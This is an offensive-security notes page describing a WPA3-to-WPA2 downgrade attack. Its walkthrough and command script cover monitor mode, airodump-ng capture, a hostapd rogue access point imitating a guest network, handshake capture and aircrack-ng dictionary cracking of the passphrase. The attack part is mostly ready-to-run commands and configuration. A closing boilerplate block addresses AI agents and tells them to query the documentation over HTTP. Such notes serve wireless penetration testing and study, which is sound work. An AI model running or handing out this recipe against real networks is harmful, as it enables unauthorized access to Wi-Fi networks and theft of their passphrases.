# WPA3 Downgrade attack

WLAN configured for WPA3 SAE with backward compatibility

<figure><img src="/files/OBDoWgufXMJhFBqa2499" alt=""><figcaption></figcaption></figure>

Confirmation via airodump-ng

<figure><img src="/files/WbSVi2EuU9sjN9jN0227" alt=""><figcaption></figcaption></figure>

Create a rouge access point that will broadcast an RSN IE of WPA2

<figure><img src="/files/IVbBYjSiDLP5R4Win0sA" alt=""><figcaption></figcaption></figure>

Start airodump-ng before running the fake AP

<figure><img src="/files/sTnZGVYyVxpm0m8rPVvF" alt=""><figcaption></figcaption></figure>

Start fake AP

<figure><img src="/files/wHM6ttutyl2HqRpgRlHD" alt=""><figcaption></figcaption></figure>

Clients are already trying to auth against the fake AP

<figure><img src="/files/QpM7e8HFkVyhKwOOawZq" alt=""><figcaption></figcaption></figure>

The fake AP does not know the correct PSK, but the client and AP will exchange a few frames. The four-way hand-shake was captured

<figure><img src="/files/HGxz5syWjNaLkw9hlUxt" alt=""><figcaption></figcaption></figure>

Attempt to retrieve the PSK via a dictionary attack

<figure><img src="/files/VPE6skcaZsTNJMyo4cPN" alt=""><figcaption></figcaption></figure>

## Script to execute the scenario

<pre><code>:> ifconfig wlan0 down
:> iw dev wlan0 set monitor none
:> ifconfig wlan0 up

<strong>:> airodump-ng --band abg --essid xxx-GUEST -w xxxguest wlan0 --channel 1,6,11
</strong>
<strong>
</strong>
----host.cfg-----
interface=wlan0
ssid=XXX-GUEST
hw_mode=g
channel=9
auth_algs=1
wpa=2
wpa_passphrase=LETMEIN1234
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP

<strong>:> hostapd host.conf
</strong>
:> aircrack-ng *.pcap -w rockyou.txt
</code></pre>

## Resources

{% embed url="<https://www.youtube.com/watch?v=8kXM1VDwmm8&ab_channel=Jos%C3%A9Daniel>" %}

{% embed url="<https://www.netprojnetworks.com/wpa3-downgrade-attack/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook.seguranca-informatica.pt/pwnage/wifi/wpa3-downgrade-attack.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.